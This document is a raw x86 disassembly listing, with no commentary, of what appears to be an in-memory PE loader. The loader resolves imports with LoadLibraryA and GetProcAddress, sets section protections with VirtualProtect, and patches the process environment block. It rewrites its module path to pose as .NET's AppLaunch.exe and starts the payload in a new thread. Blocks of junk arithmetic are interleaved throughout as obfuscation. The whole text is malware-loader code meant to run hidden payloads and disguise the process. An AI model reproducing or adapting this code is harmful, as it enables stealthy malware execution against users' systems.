rol edx, 0x12
rol eax, 0x34
neg ebx
imul edx
rcr esi, 0x2c
rol edx, 1
sbb ebx, 0xb9
sub eax, 0xb4
imul ebx
bswap edi
rcl edi, 0xf4
mov eax, 0xb0
imul ebx
not eax
neg esi
sub eax, 0x50
mov edx, 0xfb
inc edx
ror edx, 0xa9
sub edx, 0xca
and ebx, 0xd6
inc esi
or ebx, 0x20
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x6c]
imul ecx, dword [ebp - 0x70], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x404fbd
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x70], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x404eee
jmp 0x404faf
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x70], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
cmp dword [eax + ecx*4], 0
je 0x404faa
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x80]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x78]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x404f7d
mov eax, dword [ebp - 0x84]
add eax, 2
mov ecx, dword [ebp - 0x78]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x6c]
imul esi, dword [ebp - 0x70], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x80]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
jmp 0x404f07
jmp 0x404faf
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
jmp 0x404ea8
mov dword [ebp - 0x90], 0
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x40513a
mov dword [ebp - 0x94], 0x40
mov eax, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x90], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x405046
mov eax, dword [ebp - 0x98]
and eax, 0x80000000
cmp eax, 0
je 0x405046
mov eax, dword [ebp - 0x98]
and eax, 0x20000000
cmp eax, 0
je 0x405046
mov dword [ebp - 0x94], 0x40
jmp 0x4050e1
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x40507d
mov eax, dword [ebp - 0x98]
and eax, 0x80000000
cmp eax, 0
je 0x40507d
mov dword [ebp - 0x94], 4
jmp 0x4050dc
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x4050b4
mov eax, dword [ebp - 0x98]
and eax, 0x20000000
cmp eax, 0
je 0x4050b4
mov dword [ebp - 0x94], 0x20
jmp 0x4050d7
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x4050d2
mov dword [ebp - 0x94], 2
jmp 0x4050d7
jmp 0x4050dc
jmp 0x4050e1
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x48]
imul edx, dword [ebp - 0x90], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
imul edi, dword [ebp - 0x90], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x8c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
jmp 0x404fc7
not eax
add eax, 0xf5
rcr edi, 0xf
rol ebx, 0x76
rol edx, 0x86
rol ebx, 0x9f
or ebx, 0xac
or eax, 0xc4
mov ebx, 3
neg edx
inc ebx
and edx, 0x71
bswap esi
add eax, 0xc0
bswap esi
imul edi
sub edx, 0x16
add esi, 0xa2
rcl edx, 0xae
sub ebx, 0xd5
sub edi, 0xcd
or edx, 0xa1
sbb edx, 0x63
imul esi
neg ebx
sub edx, 0x2a
rcl edi, 0x39
not esi
imul edx
imul edi
ror eax, 0x68
neg esi
ror eax, 0xe0
dec eax
imul edi
sbb esi, 0x3a
add edi, 0x54
dec edi
imul edi
imul eax
inc esi
bswap edx
inc edi
rcl eax, 0x2f
bswap edx
dec edx
mov eax, 0x9c
rcl esi, 0x85
mov ebx, 0x34
dec eax
neg esi
dec ebx
or eax, 0xbc
sbb edx, 4
imul eax
not esi
rcr ebx, 0x14
add esi, 0x69
sub ebx, 0xad
dec eax
bswap edx
rol edx, 0x1d
bswap ebx
not edi
rol edx, 0xa1
dec eax
add eax, 0x28
bswap eax
rcr edi, 0x88
mov eax, 0xcf
mov edx, 0x14
and eax, 0x55
bswap ebx
rcl esi, 0xfb
dec eax
bswap esi
or edx, 0x43
ror esi, 0xa2
imul eax
mov edx, 0x2e
not ebx
dec edx
ror esi, 0xda
ror esi, 0xd1
rcl edi, 0x51
dec edx
add edi, 0x2f
inc edx
not ebx
not edi
not esi
not edx
mov eax, 0x2f
or eax, 7
inc esi
mov edi, 0xc7
not eax
neg edx
imul edx
ror ebx, 0xd7
imul edx
and edi, 0xe0
neg eax
dec eax
rcl esi, 0xa9
rol edi, 0xaf
not esi
imul ebx
bswap ebx
bswap edi
rcr edx, 0x48
add ebx, 0x30
bswap edx
inc edi
dec ebx
neg eax
not eax
and esi, 0x95
rol edi, 0xf0
rcr eax, 5
neg ebx
rcr ebx, 0xbc
rcr edx, 0xfa
rol ebx, 0x85
sub ebx, 0xac
imul eax
and ebx, 0xad
rcr ebx, 0x68
not eax
neg eax
neg esi
add ebx, 0xed
add edx, 0xc4
rcr eax, 0x27
mov esi, 0xee
not esi
dec edi
sub eax, 0xcb
not esi
not edx
dec edx
rcr ebx, 0x78
not esi
inc eax
and eax, 0x14
ror esi, 0xe5
ror ebx, 0x39
add edx, 0xd6
mov edx, 0xea
imul esi
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0xa4], eax
not ebx
rcr eax, 0x75
add edi, 0x90
imul eax
rcl esi, 0xa4
rcr edi, 1
neg esi
dec edi
inc eax
or esi, 8
dec esi
rol eax, 0xfe
rcr esi, 0x71
mov esi, 0xea
or edi, 0x94
or esi, 0xe0
mov ebx, 0x1a
neg ebx
not esi
mov eax, 0xa8
mov edi, 0x73
rcl edx, 0xfe
neg edi
neg esi
inc ebx
bswap eax
mov ebx, 0xf0
imul esi
imul ebx
sub edi, 0xa6
rcr ebx, 0xf2
not ebx
dec edx
or edx, 0x99
ror edx, 8
bswap eax
sbb ebx, 0x23
or edx, 0x1e
sbb esi, 0x8e
and eax, 0xea
ror edi, 0x2a
inc ebx
imul edi
or esi, 0x52
rol ebx, 0x25
neg esi
bswap edx
bswap esi
sub edi, 0xc8
mov eax, 0x31
or edi, 0x83
not eax
rcr esi, 0x24
dec edx
sbb eax, 0x8c
bswap esi
rcr ebx, 0x9d
mov edx, 0x84
rcr edi, 0x4e
bswap edx
rol edi, 0xf9
rol esi, 0x8f
not edx
not edi
ror esi, 0x94
inc esi
add edx, 0xcb
dec ebx
inc edi
imul eax
rol eax, 0xc6
neg edx
or edi, 0x7b
not edx
rcl edx, 0x89
sbb ebx, 0x36
bswap eax
bswap eax
add eax, 1
rcl edx, 0xf9
inc eax
imul edi
add esi, 0xcb
rcl eax, 0x58
mov ebx, 0x36
imul edi
sbb eax, 0x68
and edx, 0x39
rcr edx, 0xde
ror esi, 0x67
not edi
rcl esi, 0x77
not eax
not ebx
not edx
imul edi
or esi, 0x2c
ror edx, 0x4f
rcr esi, 0x4e
dec esi
sub ebx, 0x40
bswap edx
rol edx, 0x64
neg edi
not ebx
inc eax
sbb edx, 1
rcr ebx, 0x1e
neg eax
and esi, 0x7a
imul esi
not ebx
add esi, 0x21
not edi
neg edi
and edx, 1
neg esi
imul eax
bswap eax
neg eax
bswap ebx
and esi, 0x32
rcr edx, 0xa
sbb edx, 0xef
mov edx, 0xed
and eax, 0x59
sub edi, 0xbd
ror ebx, 0xe2
rol eax, 0x74
mov ebx, 0x1e
inc eax
bswap ebx
rol edx, 0x72
bswap ebx
neg eax
rol esi, 0xc5
add esi, 0x82
bswap edi
ror esi, 0x70
not edi
rol edx, 0x41
bswap edi
imul edx
neg esi
imul ebx
inc edi
and esi, 0xf7
and edi, 0x73
rcr ebx, 4
add edx, 0x7d
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x9c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xa4]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0xa4]
add eax, 0x24
mov dword [ebp - 0xa8], eax
not ebx
add edi, 0xc6
rol esi, 0xc7
rol edi, 0x24
rcr edx, 6
rol edi, 0x2c
bswap edi
dec edi
rcl ebx, 0x51
add esi, 0xea
dec edi
not edi
sub edi, 0xd2
rcl edx, 0x61
imul ebx
bswap edx
sub eax, 0xdc
imul eax
dec edx
inc esi
rol eax, 0x4c
add edi, 0x31
rol ebx, 0x1c
inc ebx
inc edi
dec edi
bswap ebx
or edi, 0xb1
add edx, 0x51
not eax
neg eax
not edx
rcr edi, 0x2b
rcr eax, 0x42
and edx, 0x8d
rol edi, 0xfc
sub ebx, 0x81
dec ebx
or eax, 0x13
rol edi, 0x66
imul edx
neg edx
mov ebx, 0x56
imul edx
inc esi
inc eax
sub ebx, 0x9d
mov ebx, 0x2b
ror esi, 6
sbb eax, 0x63
neg ebx
dec eax
sub edx, 0xc1
inc ebx
add ebx, 0x19
neg edx
and edx, 0x1d
rcr ebx, 0x9b
inc edi
and edi, 0xca
sub edi, 0x55
rol eax, 0x23
rol edi, 0xc2
imul esi
neg esi
imul ebx
or eax, 0xac
and ebx, 0xc1
sub edx, 0x2a
dec edi
neg edi
not edi
imul eax
rcl edx, 0x91
dec edi
ror edi, 0x95
and ebx, 0xa3
ror esi, 0x57
bswap ebx
inc esi
imul edi
imul edi
mov ebx, 0xc3
bswap ebx
bswap esi
neg edx
bswap edx
not ebx
not edx
neg edi
ror ebx, 0x79
imul edx
bswap esi
rcr ebx, 0x56
bswap edi
imul esi
rol ebx, 0x2d
and edi, 0xf5
not ebx
rcr ebx, 0x51
bswap esi
rcl eax, 0x92
inc edx
sub esi, 0x40
neg edx
bswap ebx
imul edx
imul esi
mov edi, 0xe
imul ebx
sub edi, 0x12
dec ebx
rcr eax, 0x46
or ebx, 0
not edi
and ebx, 0xf2
mov edi, 0x3b
not edi
rcr ebx, 0x27
ror ebx, 0x5b
neg edx
neg eax
imul edx
bswap edx
ror eax, 0x5d
dec ebx
neg edi
neg eax
imul edi
imul esi
not esi
rcl esi, 0xdc
bswap ebx
neg edi
mov eax, 0xf2
sbb edx, 0x7e
sub eax, 0x66
imul eax
rol eax, 0x91
imul esi
rcr edi, 0x8d
sub eax, 0xc
rol edi, 0x4d
ror edx, 0xd9
bswap edx
not ebx
dec edi
rol edx, 0x3c
rcl ebx, 0xc4
add edx, 0xf4
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x122]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.0040a0d0
mov eax, dword [ebp - 0x38]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x123], al
test byte [ebp - 0x123], 1
je 0x405717
mov eax, dword [ebp - 0xa8]
lea ecx, [ebp - 0x12c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403a90
lea ecx, [ebp - 0x122]
mov eax, dword [ebp - 0xa8]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x122]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0xa8]
mov word [eax], cx
or esi, 0xdb
dec edi
sbb esi, 0xf4
inc ebx
sub esi, 0x1a
sub eax, 0xad
not esi
add eax, 0xbd
dec eax
mov esi, 0
neg edx
dec esi
not eax
neg esi
rcl edi, 0xdf
neg esi
or esi, 0xbf
dec eax
dec ebx
mov esi, 0xf0
or eax, 0xf7
neg ebx
inc edx
mov esi, 0xe1
dec edi
inc edi
mov esi, 0x24
dec ebx
sbb eax, 0x20
bswap edi
dec edx
dec esi
dec edx
not esi
not edi
rcr ebx, 0x39
sub eax, 0x3e
neg esi
rol edi, 0x36
rcl edi, 0x51
not edi
not edi
neg ebx
rcl esi, 0x3a
ror edx, 0xdc
sbb edi, 0x47
imul edi
imul edi
mov esi, 0xd
rcr esi, 0x5e
dec edx
add edx, 0x5f
mov esi, 0xd6
inc edx
bswap edx
rol edi, 0x31
bswap edx
imul edx
rcl esi, 0x40
sbb edi, 0xc
or ebx, 0xfd
rol esi, 0xc2
or esi, 0xca
add esi, 0x85
bswap edx
imul esi
imul edx
not eax
imul eax
inc esi
bswap eax
not edx
or edi, 0x37
imul edx
mov ebx, 0xa3
bswap edi
rcl edi, 0xda
rol eax, 0xd4
imul eax
imul ebx
add edi, 0x9e
sub eax, 0x7c
sbb edx, 0x6a
inc eax
neg edx
inc ebx
add edx, 0x5d
not ebx
sub edi, 0xb
inc ebx
or edi, 0x6b
bswap edi
add eax, 0x1a
inc esi
rcl eax, 0x85
bswap ebx
rcr ebx, 0xb9
rcl esi, 0x77
not ebx
sbb edx, 0x83
sub esi, 0xa
rcr ebx, 0xbb
dec esi
bswap esi
or edi, 0xcc
sbb ebx, 0x54
dec ebx
dec edx
inc edx
inc ebx
inc ebx
add edx, 0x91
rcr edi, 0x10
imul edx
add edi, 0xe3
and edi, 0xab
imul eax
sub edi, 0x33
add edx, 0xee
inc esi
neg esi
rcr ebx, 0xc2
rol esi, 0xe0
neg esi
imul ebx
neg edx
and edx, 0xd4
neg edx
bswap eax
mov edi, 0xf4
dec edx
inc ebx
bswap edx
neg edx
imul ebx
and esi, 0xea
rcl ebx, 0x35
not edi
and esi, 0xbb
bswap edx
dec esi
dec ebx
sub ebx, 0x64
rcr edi, 0x48
bswap eax
not eax
bswap edx
neg ebx
ror ebx, 0xb1
rcl eax, 0xab
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x130], eax
test byte [ebp - 0x123], 1
je 0x405932
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0x12c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403a90
mov eax, dword [ebp - 0x130]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov ebx, 0xa0
neg ebx
and esi, 0xec
ror ebx, 0x39
sub ebx, 0xe9
neg edx
ror edx, 0x92
neg edi
dec esi
rcr edi, 0xed
or edx, 0xc
inc ebx
rcl eax, 0xc2
inc eax
sub ebx, 0x5c
sbb edx, 0xa8
inc eax
add edi, 0x92
mov ebx, 0xe1
imul edi
add edx, 0x69
bswap edi
add edi, 0xb9
dec edx
mov edi, 0x99
sub eax, 0x1d
bswap ebx
inc edi
sbb esi, 0x81
bswap edi
or edx, 0x57
inc eax
bswap esi
ror ebx, 0x1a
neg eax
sub eax, 0x16
imul ebx
or ebx, 0xd6
and edi, 0x6b
sub eax, 0x31
dec esi
bswap edi
neg edi
not eax
dec ebx
and eax, 0x51
imul ebx
dec eax
inc edx
mov ebx, 0x9f
bswap ebx
sub eax, 0x53
or ebx, 0xe
dec edi
rcl edi, 0xf5
mov edx, 0x2c
inc eax
imul edx
and edx, 0x1e
imul eax
inc eax
mov ebx, 0xda
imul esi
inc edi
and eax, 0x6b
mov ebx, 0x3b
neg esi
dec edi
inc edi
imul edx
sub esi, 0x73
inc esi
rol eax, 0x89
not esi
dec eax
rcl edi, 0xd4
not esi
neg ebx
dec ebx
mov edi, 0xdf
or edi, 0xd5
imul eax
add ebx, 0xb7
add edi, 0xc5
imul esi
dec edx
neg edx
inc edi
neg edi
inc ebx
imul esi
rol ebx, 0xb2
dec ebx
not ebx
imul edx
not eax
dec ebx
not eax
dec edx
dec edi
mov ebx, 0x5e
rcl edx, 0x83
add esi, 0x45
or eax, 0xf
not edi
neg edi
neg eax
bswap edi
bswap ebx
rcr edi, 0xed
add esi, 0x3d
rol ebx, 0xd
bswap edi
not eax
rol edx, 0x72
neg ebx
not edx
neg edi
sbb esi, 0x74
imul edi
mov edi, 0xd6
add edx, 0xfa
imul edi
not ebx
not edi
bswap eax
rcr edi, 0x6f
neg ebx
add edx, 0x19
ror edi, 0xa1
bswap eax
rcr edi, 0xc3
dec eax
sbb eax, 0x84
rcr ebx, 0xe7
bswap eax
neg edx
rcr edi, 0xa9
not edi
neg eax
or edx, 0x76
add eax, 0xc8
rcl edi, 0xc
ror esi, 0xeb
sub esi, 0x64
neg edx
dec eax
imul edi
rcr ebx, 0xac
mov ebx, 0x7c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x144
pop esi
pop edi
pop ebx
pop ebp
ret